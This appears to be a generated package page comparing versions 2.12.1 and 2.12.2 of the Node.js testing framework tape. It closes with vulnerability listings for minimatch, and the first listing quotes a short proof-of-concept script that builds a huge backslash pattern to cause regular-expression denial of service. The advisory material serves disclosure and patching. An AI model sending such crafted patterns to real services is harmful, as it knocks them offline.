Tape is a simple and minimalist testing framework for Node.js and browsers, emphasizing developer-friendly output and ease of use. Comparing version 2.12.2 to its predecessor, 2.12.1, reveals a minor update focused likely on bug fixes or small enhancements, as the dependency lists and development dependencies remain identical. Both versions depend on essential packages like glob for file matching, defined and resumer for stream handling, through for simplified stream transformations, inherits for prototypal inheritance, deep-equal for thorough value comparison, and object-inspect for detailed object representation. Development tools are consistent, featuring tap for running tests, falafel for AST modification during testing, and concat-stream for accumulating stream data.
The key distinction lies in the releaseDate. Version 2.12.2 was published on April 2nd, 2014, implying it incorporates any corrections or refinements made in the few days following the release of 2.12.1 on March 30th, 2014. Developers should always consider utilizing newer versions for up-to-date functionality and potential security improvements. If you're already using tape, upgrading to 2.12.2 is recommended. If you're new to tape, start directly with the newer version, but given the age of the releases, seeking a maintained fork or more recent major version might provide better long term support and functionality. Note that the core functionality, author (James Halliday, substack), license (MIT), and repository details remain constant across these versions.
All the vulnerabilities related to the version 2.12.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.